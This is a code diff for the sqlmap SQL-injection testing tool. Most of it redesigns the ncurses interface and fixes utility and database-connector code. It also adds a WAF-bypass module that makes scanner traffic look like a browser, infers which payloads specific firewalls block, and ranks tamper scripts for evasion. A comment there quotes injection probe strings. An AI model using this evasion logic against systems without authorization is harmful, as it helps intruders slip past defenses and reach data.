+def _groupDescription(group):
+    if hasattr(group, "get_description"):
+        return group.get_description() or ""
+    return getattr(group, "description", "") or ""
+
+def _optStrings(option):
+    if hasattr(option, "option_strings"):
+        return list(option.option_strings)
+    return list(getattr(option, "_short_opts", None) or []) + list(getattr(option, "_long_opts", None) or [])
+
+def _optDest(option):
+    return getattr(option, "dest", None)
+
+def _optHelp(option):
+    return getattr(option, "help", "") or ""
+
+def _optTakesValue(option):
+    if hasattr(option, "takes_value"):
+        try:
+            return option.takes_value()
+        except Exception:
+            pass
+    return getattr(option, "nargs", 1) != 0
+
+def _optValueType(option):
+    kind = getattr(option, "type", None)
+    if kind in ("int", int):
+        return "int"
+    if kind in ("float", float):
+        return "float"
+    return "string"
+
 class NcursesUI:
     def __init__(self, stdscr, parser):
         self.stdscr = stdscr
@@ -38,61 +107,110 @@ class NcursesUI:
         self.process = None
 
         # Initialize colors
-        curses.start_color()
-        curses.init_pair(1, curses.COLOR_BLACK, curses.COLOR_CYAN)    # Header
-        curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_BLUE)    # Active tab
-        curses.init_pair(3, curses.COLOR_BLACK, curses.COLOR_WHITE)   # Inactive tab
-        curses.init_pair(4, curses.COLOR_YELLOW, curses.COLOR_BLACK)  # Selected field
-        curses.init_pair(5, curses.COLOR_GREEN, curses.COLOR_BLACK)   # Help text
-        curses.init_pair(6, curses.COLOR_RED, curses.COLOR_BLACK)     # Error/Important
-        curses.init_pair(7, curses.COLOR_CYAN, curses.COLOR_BLACK)    # Label
+        self._init_colors()
 
         # Setup curses
-        curses.curs_set(1)
+        curses.curs_set(0)
         self.stdscr.keypad(1)
 
         # Parse option groups
         self._parse_options()
 
+    def _init_colors(self):
+        """Cohesive palette: a flat 256-color scheme with a graceful 8-color fallback"""
+        curses.start_color()
+        try:
+            curses.use_default_colors()
+            default_bg = -1
+        except curses.error:
+            default_bg = curses.COLOR_BLACK
+
+        if curses.COLORS >= 256:
+            accent, accent_fg, sel_bg = 75, 234, 237
+            text, muted, green, red = 252, 245, 114, 210
+            curses.init_pair(1, accent_fg, accent)     # header / footer bar
+            curses.init_pair(2, accent_fg, accent)     # active tab
+            curses.init_pair(3, muted, 236)            # inactive tab
+            curses.init_pair(4, accent, sel_bg)        # selected field row
+            curses.init_pair(5, muted, default_bg)     # help / description
+            curses.init_pair(6, red, default_bg)       # error / important
+            curses.init_pair(7, text, default_bg)      # label / value
+            curses.init_pair(8, green, default_bg)     # value that has been set
+            curses.init_pair(9, muted, sel_bg)         # help text on the highlighted row
+        else:
+            curses.init_pair(1, curses.COLOR_BLACK, curses.COLOR_CYAN)
+            curses.init_pair(2, curses.COLOR_BLACK, curses.COLOR_CYAN)
+            curses.init_pair(3, curses.COLOR_WHITE, curses.COLOR_BLUE)
+            curses.init_pair(4, curses.COLOR_BLACK, curses.COLOR_CYAN)
+            curses.init_pair(5, curses.COLOR_GREEN, default_bg)
+            curses.init_pair(6, curses.COLOR_RED, default_bg)
+            curses.init_pair(7, curses.COLOR_WHITE, default_bg)
+            curses.init_pair(8, curses.COLOR_GREEN, default_bg)
+            curses.init_pair(9, curses.COLOR_BLACK, curses.COLOR_CYAN)
+
     def _parse_options(self):
         """Parse command line options into tabs and fields"""
-        for group in self.parser.option_groups:
+        self.all_options = []
+        for group in _parserGroups(self.parser):
+            title = _groupTitle(group)
             tab_data = {
-                'title': group.title,
-                'description': group.get_description() if hasattr(group, 'get_description') and group.get_description() else "",
+                'title': title,
+                'description': _groupDescription(group),
                 'options': []
             }
 
-            for option in group.option_list:
+            for option in _groupOptions(group):
+                dest = _optDest(option)
+                if not dest:
+                    continue
                 field_data = {
-                    'dest': option.dest,
+                    'dest': dest,
                     'label': self._format_option_strings(option),
-                    'help': option.help if option.help else "",
-                    'type': option.type if hasattr(option, 'type') and option.type else 'bool',
+                    'help': _optHelp(option),
+                    'type': _optValueType(option) if _optTakesValue(option) else 'bool',
                     'value': '',
-                    'default': defaults.get(option.dest) if defaults.get(option.dest) else None
+                    'default': defaults.get(dest) if defaults.get(dest) else None
                 }
                 tab_data['options'].append(field_data)
-                self.fields[(group.title, option.dest)] = field_data
+                self.fields[(title, dest)] = field_data
+                self.all_options.append(field_data)
 
             self.tabs.append(tab_data)
 
+        # curated "Quick start" tab; references the same field objects as the group tabs,
+        # so a value edited in either place stays in sync
+        seen = {}
+        for tab in self.tabs:
+            for option in tab['options']:
+                seen.setdefault(option['dest'], option)
+        quick = {
+            'title': 'Quick start',
+            'description': "The options people reach for most. Fill these in, then press F2 to run.",
+            'options': [seen[dest] for dest in QUICK_START_DESTS if dest in seen],
+        }
+        if quick['options']:
+            self.tabs.insert(0, quick)
+
     def _format_option_strings(self, option):
         """Format option strings for display"""
-        parts = []
-        if hasattr(option, '_short_opts') and option._short_opts:
-            parts.extend(option._short_opts)
-        if hasattr(option, '_long_opts') and option._long_opts:
-            parts.extend(option._long_opts)
-        return ', '.join(parts)
+        return ', '.join(_optStrings(option))
+
+    def _tab_title(self, tab):
+        return TAB_ALIASES.get(tab['title'], tab['title'])
 
     def _draw_header(self):
         """Draw the header bar"""
         height, width = self.stdscr.getmaxyx()
-        header = " sqlmap - ncurses TUI "
         self.stdscr.attron(curses.color_pair(1) | curses.A_BOLD)
-        self.stdscr.addstr(0, 0, header.center(width))
-        self.stdscr.attroff(curses.color_pair(1) | curses.A_BOLD)
+        self.stdscr.addstr(0, 0, " " * width)
+        self.stdscr.addstr(0, 1, "sqlmap")
+        self.stdscr.attroff(curses.A_BOLD)
+        right = "F2 Run  -  F10 Quit "
+        try:
+            self.stdscr.addstr(0, max(8, width - len(right)), right)
+        except:
+            pass
+        self.stdscr.attroff(curses.color_pair(1))
 
     def _get_tab_bar_height(self):
         """Calculate how many rows the tab bar uses"""
@@ -101,16 +219,12 @@ class NcursesUI:
         x = 0
 
         for i, tab in enumerate(self.tabs):
-            tab_text = " %s " % tab['title']
-
-            # Check if tab exceeds width, wrap to next line
+            tab_text = " %s " % self._tab_title(tab)
             if x + len(tab_text) >= width:
                 y += 1
                 x = 0
-                # Stop if we've used too many lines
-                if y >= 3:
+                if y >= 4:
                     break
-
             x += len(tab_text) + 1
 
         return y
@@ -122,14 +236,11 @@ class NcursesUI:
         x = 0
 
         for i, tab in enumerate(self.tabs):
-            tab_text = " %s " % tab['title']
-
-            # Check if tab exceeds width, wrap to next line
+            tab_text = " %s " % self._tab_title(tab)
             if x + len(tab_text) >= width:
                 y += 1
                 x = 0
-                # Stop if we've used too many lines
-                if y >= 3:
+                if y >= 4:
                     break
 
             if i == self.current_tab:
@@ -149,14 +260,45 @@ class NcursesUI:
 
             x += len(tab_text) + 1
 
+    def _build_command(self):
+        """Assemble the equivalent sqlmap command line from the current field values"""
+        parts = ["sqlmap.py"]
+        for opt in self.all_options:
+            flag = opt['label'].split(',')[0].strip() if opt['label'] else ""
+            if not flag:
+                continue
+            value = opt['value']
+            if opt['type'] == 'bool':
+                if value:
+                    parts.append(flag)
+            elif value not in (None, "") and str(value) != str(opt.get('default') or ""):
+                text = str(value)
+                if ' ' in text or '"' in text:
+                    text = '"%s"' % text.replace('"', '\\"')
+                parts.append("%s %s" % (flag, text))
+        return " ".join(parts)
+
+    def _draw_command(self):
+        """Live preview of the command being built, just above the footer"""
+        height, width = self.stdscr.getmaxyx()
+        cmd = "$ " + self._build_command()
+        if len(cmd) > width - 2:
+            cmd = cmd[:width - 5] + "..."
+        try:
+            self.stdscr.attron(curses.color_pair(8) | curses.A_BOLD)
+            self.stdscr.addstr(height - 2, 1, cmd.ljust(width - 2)[:width - 2])
+            self.stdscr.attroff(curses.color_pair(8) | curses.A_BOLD)
+        except curses.error:
+            pass
+
     def _draw_footer(self):
         """Draw the footer with help text"""
         height, width = self.stdscr.getmaxyx()
-        footer = " [Tab] Next | [Arrows] Navigate | [Enter] Edit | [F2] Run | [F3] Export | [F4] Import | [F10] Quit "
+        footer = " Tab/<-/-> Section   Up/Down Field   Enter/Space Edit   F2 Run   F3 Export   F4 Import   F10 Quit "
 
         try:
             self.stdscr.attron(curses.color_pair(1))
-            self.stdscr.addstr(height - 1, 0, footer.ljust(width))
+            self.stdscr.addstr(height - 1, 0, footer.ljust(width)[:width - 1])
             self.stdscr.attroff(curses.color_pair(1))
         except:
             pass
@@ -192,61 +334,68 @@ class NcursesUI:
                     pass
             y += 1
 
-        # Draw options
+        # Draw options (leave height-2 for the command preview, height-1 for the footer)
         visible_start = self.scroll_offset
-        visible_end = visible_start + (height - y - 2)
+        visible_end = visible_start + (height - y - 3)
 
         for i, option in enumerate(tab['options'][visible_start:visible_end], visible_start):
-            if y >= height - 2:
+            if y >= height - 3:
                 break
 
             is_selected = (i == self.current_field)
 
-            # Draw label
+            # full-width highlight bar for the selected row
+            if is_selected:
+                try:
+                    self.stdscr.attron(curses.color_pair(4))
+                    self.stdscr.addstr(y, 0, " " * (width - 1))
+                    self.stdscr.attroff(curses.color_pair(4))
+                except:
+                    pass
+
+            # label
             label = option['label'][:25].ljust(25)
+            label_attr = curses.color_pair(4) | curses.A_BOLD if is_selected else curses.color_pair(7)
             try:
-                if is_selected:
-                    self.stdscr.attron(curses.color_pair(4) | curses.A_BOLD)
-                else:
-                    self.stdscr.attron(curses.color_pair(7))
-
+                self.stdscr.attron(label_attr)
                 self.stdscr.addstr(y, 2, label)
-
-                if is_selected:
-                    self.stdscr.attroff(curses.color_pair(4) | curses.A_BOLD)
-                else:
-                    self.stdscr.attroff(curses.color_pair(7))
+                self.stdscr.attroff(label_attr)
             except:
                 pass
 
-            # Draw value
-            value_str = ""
+            # value (green once the user has set one, muted "(default)" otherwise)
+            has_value = option['value'] not in (None, "", False)
             if option['type'] == 'bool':
                 value = option['value'] if option['value'] is not None else option.get('default')
-                value_str = "[X]" if value else "[ ]"
+                value_str = "[x]" if value else "[ ]"
+                value_attr = curses.color_pair(8) if value else curses.color_pair(5)
+            elif has_value:
+                value_str = str(option['value'])
+                value_attr = curses.color_pair(8)
+            elif option['default'] not in (None, False):
+                value_str = "(%s)" % str(option['default'])
+                value_attr = curses.color_pair(5)
             else:
-                value_str = str(option['value']) if option['value'] else ""
-                if option['default'] and not option['value']:
-                    value_str = "(%s)" % str(option['default'])
-
-            value_str = value_str[:30]
+                value_str = ""
+                value_attr = curses.color_pair(5)
 
+            if is_selected:
+                value_attr = curses.color_pair(4) | curses.A_BOLD
             try:
-                if is_selected:
-                    self.stdscr.attron(curses.color_pair(4) | curses.A_BOLD)
-                self.stdscr.addstr(y, 28, value_str)
-                if is_selected:
-                    self.stdscr.attroff(curses.color_pair(4) | curses.A_BOLD)
+                self.stdscr.attron(value_attr)
+                self.stdscr.addstr(y, 28, value_str[:30])
+                self.stdscr.attroff(value_attr)
             except:
                 pass
 
-            # Draw help text
+            # help text (always shown, including on the highlighted row so it stays readable)
             if width > 65:
-                help_text = option['help'][:width-62] if option['help'] else ""
+                help_text = option['help'][:width - 62] if option['help'] else ""
+                help_attr = curses.color_pair(9) if is_selected else curses.color_pair(5)
                 try:
-                    self.stdscr.attron(curses.color_pair(5))
-                    self.stdscr.addstr(y, 60, help_text)
-                    self.stdscr.attroff(curses.color_pair(5))
+                    self.stdscr.attron(help_attr)
+                    self.stdscr.addstr(y, 60, help_text.ljust(width - 61)[:width - 61])
+                    self.stdscr.attroff(help_attr)
                 except:
                     pass
 
@@ -256,7 +405,7 @@ class NcursesUI:
         if len(tab['options']) > visible_end - visible_start:
             try:
                 self.stdscr.attron(curses.color_pair(6))
-                self.stdscr.addstr(height - 2, width - 10, "[More...]")
+                self.stdscr.addstr(height - 3, width - 10, "[More...]")
                 self.stdscr.attroff(curses.color_pair(6))
             except:
                 pass
@@ -292,50 +441,57 @@ class NcursesUI:
             # Toggle boolean
             option['value'] = not option['value']
         else:
-            # Text input
+            # Text input (manual key loop so Esc can cancel and Enter can save)
             height, width = self.stdscr.getmaxyx()
-
-            # Create input window
             input_win = curses.newwin(5, width - 20, height // 2 - 2, 10)
+            input_win.keypad(True)
             input_win.box()
             input_win.attron(curses.color_pair(2))
             input_win.addstr(0, 2, " Edit %s " % option['label'][:20])
             input_win.attroff(curses.color_pair(2))
-            input_win.addstr(2, 2, "Value:")
-            input_win.refresh()
+            input_win.attron(curses.color_pair(5))
+            input_win.addstr(3, 2, "[Enter] save   [Esc] cancel")
+            input_win.attroff(curses.color_pair(5))
 
-            # Get input
-            curses.echo()
+            buffer = str(option['value']) if option['value'] not in (None, "") else ""
+            max_len = max(1, width - 34)
+            curses.noecho()
             curses.curs_set(1)
 
-            # Pre-fill with existing value
-            current_value = str(option['value']) if option['value'] else ""
-            input_win.addstr(2, 9, current_value)
-            input_win.move(2, 9)
+            while True:
+                shown = buffer[-max_len:]
+                input_win.addstr(2, 2, "Value: ")
+                input_win.addstr(2, 9, shown.ljust(max_len)[:max_len])
+                input_win.move(2, 9 + len(shown))
+                input_win.refresh()
 
-            try:
-                new_value = input_win.getstr(2, 9, width - 32).decode('utf-8')
+                ch = input_win.getch()
+                if ch == 27:                                    # Esc -> cancel, keep old value
+                    buffer = None
+                    break
+                elif ch in (curses.KEY_ENTER, 10, 13):          # Enter -> commit
+                    break
+                elif ch in (curses.KEY_BACKSPACE, 127, 8):
+                    buffer = buffer[:-1]
+                elif 32 <= ch <= 126:
+                    buffer += chr(ch)
 
-                # Validate and convert based on type
+            curses.curs_set(0)
+
+            if buffer is not None:
                 if option['type'] == 'int':
                     try:
-                        option['value'] = int(new_value) if new_value else None
+                        option['value'] = int(buffer) if buffer else None
                     except ValueError:
                         option['value'] = None
                 elif option['type'] == 'float':
                     try:
-                        option['value'] = float(new_value) if new_value else None
+                        option['value'] = float(buffer) if buffer else None
                     except ValueError:
                         option['value'] = None
                 else:
-                    option['value'] = new_value if new_value else None
-            except:
-                pass
+                    option['value'] = buffer if buffer else None
 
-            curses.noecho()
-            curses.curs_set(0)
-
-            # Clear input window
             input_win.clear()
             input_win.refresh()
             del input_win
@@ -378,9 +534,9 @@ class NcursesUI:
                             config[dest] = value
 
                 # Set defaults for unset options
-                for option in self.parser.option_list:
-                    if option.dest not in config or config[option.dest] is None:
-                        config[option.dest] = defaults.get(option.dest, None)
+                for field in self.all_options:
+                    if field['dest'] not in config or config[field['dest']] is None:
+                        config[field['dest']] = defaults.get(field['dest'], None)
 
                 # Save config
                 try:
@@ -537,9 +693,9 @@ class NcursesUI:
                     config[dest] = value
 
         # Set defaults for unset options
-        for option in self.parser.option_list:
-            if option.dest not in config or config[option.dest] is None:
-                config[option.dest] = defaults.get(option.dest, None)
+        for field in self.all_options:
+            if field['dest'] not in config or config[field['dest']] is None:
+                config[field['dest']] = defaults.get(field['dest'], None)
 
         # Create temp config file
         handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True)
@@ -703,6 +859,7 @@ class NcursesUI:
             self._draw_header()
             self._draw_tabs()
             self._draw_current_tab()
+            self._draw_command()
             self._draw_footer()
 
             self.stdscr.refresh()
@@ -713,7 +870,7 @@ class NcursesUI:
             tab = self.tabs[self.current_tab]
 
             # Handle input
-            if key == curses.KEY_F10 or key == 27:  # F10 or ESC
+            if key == curses.KEY_F10:  # F10 quits; Esc intentionally does NOT (it only cancels field edits)
                 break
             elif key == ord('\t') or key == curses.KEY_RIGHT:  # Tab or Right arrow
                 self.current_tab = (self.current_tab + 1) % len(self.tabs)
@@ -755,9 +912,17 @@ def runTui(parser):
     # Check if ncurses is available
     if curses is None:
         raise SqlmapMissingDependence("missing 'curses' module (optional Python module). Use a Python build that includes curses/ncurses, or install the platform-provided equivalent (e.g. for Windows: pip install windows-curses)")
+    # ncurses waits ESCDELAY ms (default 1000) after Esc to disambiguate escape sequences, which
+    # makes Esc feel like it hangs for ~1s; shrink it so Esc reacts immediately
+    os.environ.setdefault("ESCDELAY", "25")
     try:
         # Initialize and run
         def main(stdscr):
+            if hasattr(curses, "set_escdelay"):
+                try:
+                    curses.set_escdelay(25)
+                except curses.error:
+                    pass
             ui = NcursesUI(stdscr, parser)
             ui.run()
 

lib/utils/wafbypass.py

@@ -0,0 +1,155 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
+See the file 'LICENSE' for copying permission
+"""
+
+import base64
+import json
+import os
+import struct
+import sys
+
+from lib.core.common import fetchRandomAgent
+from lib.core.data import conf
+from lib.core.data import paths
+from lib.core.enums import HTTP_HEADER
+from lib.core.enums import PLACE
+from lib.core.settings import WAF_BYPASS_HTTP_HEADERS
+from lib.core.settings import WAF_BYPASS_TAMPERS
+
+
+def neutralizeFingerprint():
+    """
+    Makes the request look like a real browser (random non-scanner User-Agent from the canonical
+    'txt/user-agents.txt' - the same source as switch '--random-agent' - plus browser Accept/Accept-Language),
+    used by automatic WAF-bypass. The per-request User-Agent is sourced from conf.parameters[PLACE.USER_AGENT]
+    (queryPage passes it explicitly, overriding conf.agent), so that is the authoritative knob; conf.agent
+    and the HTTP header list are updated too. Returns the previous state so the change can be reverted.
+    """
+
+    saved = (conf.agent, conf.httpHeaders, conf.parameters.get(PLACE.USER_AGENT))
+
+    userAgent = fetchRandomAgent()
+
+    conf.agent = userAgent
+    if PLACE.USER_AGENT in conf.parameters:
+        conf.parameters[PLACE.USER_AGENT] = userAgent
+
+    overrides = dict(((HTTP_HEADER.USER_AGENT, userAgent),) + tuple(WAF_BYPASS_HTTP_HEADERS))
+    upper = dict((_.upper(), _) for _ in overrides)
+    headers, seen = [], set()
+    for header, hvalue in conf.httpHeaders:
+        if header.upper() in upper:
+            headers.append((header, overrides[upper[header.upper()]]))
+            seen.add(header.upper())
+        else:
+            headers.append((header, hvalue))
+    for header, hvalue in overrides.items():
+        if header.upper() not in seen:
+            headers.append((header, hvalue))
+    conf.httpHeaders = headers
+
+    return saved
+
+# identYwaf encodes each fingerprint as a packed array of 16-bit words, one per provocation
+# vector, where the LOW bit marks whether that vector was blocked (lib/../identywaf/identYwaf.py:
+# struct.pack(">H", (hash << 1) | blocked)). Decoding the bundled per-WAF signatures therefore
+# yields, for free, which constructs a known WAF actually blocks - an empirical prior for picking
+# bypass tampers. The two indices below (from data.json "payloads") are the ones we key decisions
+# on: comment-obfuscated payloads (whether comment-insertion tampers stand any chance).
+_IDENTYWAF_COMMENT_VECTORS = (2, 3, 13)   # "1/**/AND/**/1", "1/*0AND*/1", "1/**/UNION/**/SELECT.../information_schema.*"
+
+_DATA = None
+
+
+def _data():
+    global _DATA
+    if _DATA is None:
+        path = os.path.join(paths.SQLMAP_ROOT_PATH, "thirdparty", "identywaf", "data.json")
+        with open(path, "rb") as f:
+            _DATA = json.loads(f.read().decode("utf-8"))
+    return _DATA
+
+
+def identYwafBlockedVectors(wafName):
+    """
+    Returns the set of provocation-vector indices that the given (identYwaf) WAF blocks, decoded
+    from its bundled blind signatures (majority vote across signature variants). Empty set if the
+    WAF/signatures are unknown.
+
+    >>> isinstance(identYwafBlockedVectors("cloudflare"), set)
+    True
+    """
+
+    retVal = set()
+
+    wafs = _data().get("wafs", {})
+    info = wafs.get(wafName) or wafs.get((wafName or "").lower())
+    if not info:
+        return retVal
+
+    expected = len(_data().get("payloads", []))
+    counts, total = {}, 0
+    for signature in info.get("signatures", []):
+        try:
+            raw = base64.b64decode(signature.split(':', 1)[-1])
+        except Exception:
+            continue
+        words = struct.unpack(">%dH" % (len(raw) // 2), raw) if len(raw) >= 2 else ()
+        if len(words) != expected:                  # only consider signatures over the current vector set
+            continue
+        total += 1
+        for index, word in enumerate(words):
+            if word & 1:
+                counts[index] = counts.get(index, 0) + 1
+
+    if total:
+        retVal = set(index for index, c in counts.items() if c * 2 >= total)   # blocked in a majority of variants
+
+    return retVal
+
+
+def candidateTampers(identifiedWafs=None):
+    """
+    Returns the ordered list of candidate tamper-script names for automatic WAF bypass: the
+    empirically-ranked WAF_BYPASS_TAMPERS, with comment-insertion camouflage pruned when the
+    identified WAF is known to block comment-obfuscated payloads (so requests aren't wasted on
+    tampers that can't help). Semantics (and DBMS compatibility) are verified at runtime by
+    re-running detection through each candidate, so no DBMS pre-filtering is needed here.
+
+    >>> "between" in candidateTampers()
+    True
+    >>> "equaltolike" in candidateTampers()
+    True
+    """
+
+    retVal = list(WAF_BYPASS_TAMPERS)
+
+    blocked = set()
+    for waf in (identifiedWafs or []):
+        blocked |= identYwafBlockedVectors(waf)
+
+    if blocked and any(_ in blocked for _ in _IDENTYWAF_COMMENT_VECTORS):
+        retVal = [_ for _ in retVal if not _.startswith("space2") and _ != "versionedkeywords"]
+
+    return retVal
+
+
+def loadTamper(name):
+    """
+    Imports a tamper script by name from the tamper directory and returns its 'tamper' function
+    (or None if missing). Mirrors the loader in option._setTamperingFunctions, for runtime use.
+    """
+
+    dirname = paths.SQLMAP_TAMPER_PATH
+    if dirname not in sys.path:
+        sys.path.insert(0, dirname)
+
+    module = __import__(str(name))
+    function = getattr(module, "tamper", None)
+    if function is not None:
+        function.__name__ = name
+
+    return function

lib/utils/xrange.py

@@ -26,6 +26,8 @@ class xrange(object):
     True
     >>> list(xrange(0, 7, 2)) == list(range(0, 7, 2))
     True
+    >>> list(xrange(8, 0, -2)) == list(range(8, 0, -2))
+    True
     >>> foobar = xrange(1, 10)
     >>> 7 in foobar
     True
@@ -33,6 +35,12 @@ class xrange(object):
     False
     >>> foobar[0]
     1
+    >>> 6 in xrange(8, 0, -2)
+    True
+    >>> 0 in xrange(8, 0, -2)
+    False
+    >>> xrange(0, 10, 2).index(4)
+    2
     """
 
     __slots__ = ['_slice']
@@ -71,10 +79,17 @@ class xrange(object):
         return self._len()
 
     def _len(self):
-        return max(0, 1 + int((self.stop - 1 - self.start) // self.step))
+        if self.step > 0:
+            lo, hi, step = self.start, self.stop, self.step
+        else:  # Note: normalizing for descending ranges (negative step)
+            lo, hi, step = self.stop, self.start, -self.step
+        return max(0, (hi - lo + step - 1) // step)
 
     def __contains__(self, value):
-        return (self.start <= value < self.stop) and (value - self.start) % self.step == 0
+        if self.step > 0:
+            return self.start <= value < self.stop and (value - self.start) % self.step == 0
+        else:
+            return self.stop < value <= self.start and (value - self.start) % self.step == 0
 
     def __getitem__(self, index):
         if isinstance(index, slice):
@@ -98,7 +113,7 @@ class xrange(object):
         return self.start + self.step * i
 
     def index(self, i):
-        if self.start <= i < self.stop:
-            return i - self.start
+        if i in self:
+            return (i - self.start) // self.step  # Note: also accounts for step != 1 (and descending ranges)
         else:
             raise ValueError("%d is not in list" % i)

plugins/dbms/cache/connector.py

@@ -37,8 +37,9 @@ class Connector(GenericConnector):
             jar = readInput(msg)
             checkFile(jar)
             args = "-Djava.class.path=%s" % jar
-            jvm_path = jpype.getDefaultJVMPath()
-            jpype.startJVM(jvm_path, args)
+            if not jpype.isJVMStarted():
+                jvm_path = jpype.getDefaultJVMPath()
+                jpype.startJVM(jvm_path, args)
         except Exception as ex:
             raise SqlmapConnectionException(getSafeExString(ex))
 

plugins/dbms/firebird/connector.py

@@ -16,7 +16,6 @@ from lib.core.common import getSafeExString
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.exception import SqlmapConnectionException
-from lib.core.settings import UNICODE_ENCODING
 from plugins.generic.connector import Connector as GenericConnector
 
 class Connector(GenericConnector):
@@ -38,7 +37,7 @@ class Connector(GenericConnector):
 
         try:
             # Reference: http://www.daniweb.com/forums/thread248499.html
-            self.connector = kinterbasdb.connect(host=self.hostname.encode(UNICODE_ENCODING), database=self.db.encode(UNICODE_ENCODING), user=self.user.encode(UNICODE_ENCODING), password=self.password.encode(UNICODE_ENCODING), charset="UTF8")
+            self.connector = kinterbasdb.connect(host=self.hostname, database=self.db, user=self.user, password=self.password, charset="UTF8")
         except kinterbasdb.OperationalError as ex:
             raise SqlmapConnectionException(getSafeExString(ex))
 

plugins/dbms/hsqldb/connector.py

@@ -37,8 +37,9 @@ class Connector(GenericConnector):
             jar = readInput(msg)
             checkFile(jar)
             args = "-Djava.class.path=%s" % jar
-            jvm_path = jpype.getDefaultJVMPath()
-            jpype.startJVM(jvm_path, args)
+            if not jpype.isJVMStarted():
+                jvm_path = jpype.getDefaultJVMPath()
+                jpype.startJVM(jvm_path, args)
         except Exception as ex:
             raise SqlmapConnectionException(getSafeExString(ex))
 

plugins/dbms/hsqldb/filesystem.py

@@ -47,7 +47,7 @@ class Filesystem(GenericFilesystem):
         logger.debug(debugMsg)
 
         # Reference: http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures
-        invokeQuery = "CALL %s('%s', CAST('%s' AS VARBINARY(%s)))" % (func_name, remoteFile, fcEncodedStr, max_bytes)
+        invokeQuery = "CALL %s('%s', X'%s')" % (func_name, remoteFile, fcEncodedStr)
         inject.goStacked(invokeQuery)
 
         logger.debug("cleaning up the database management system")

plugins/dbms/maxdb/enumeration.py

@@ -197,9 +197,9 @@ class Enumeration(GenericEnumeration):
                 return {conf.db: kb.data.cachedColumns[conf.db]}
 
             if dumpMode and colList:
-                table = {}
-                table[safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList)
-                kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table
+                if safeSQLIdentificatorNaming(conf.db) not in kb.data.cachedColumns:
+                    kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {}
+                kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList)
                 continue
 
             infoMsg = "fetching columns "
@@ -219,8 +219,9 @@ class Enumeration(GenericEnumeration):
                 for columnname, datatype, length in _zip(retVal[0]["%s.columnname" % kb.aliasName], retVal[0]["%s.datatype" % kb.aliasName], retVal[0]["%s.len" % kb.aliasName]):
                     columns[safeSQLIdentificatorNaming(columnname)] = "%s(%s)" % (datatype, length)
 
-                table[tbl] = columns
-                kb.data.cachedColumns[conf.db] = table
+                if conf.db not in kb.data.cachedColumns:
+                    kb.data.cachedColumns[conf.db] = {}
+                kb.data.cachedColumns[conf.db][tbl] = columns
 
         return kb.data.cachedColumns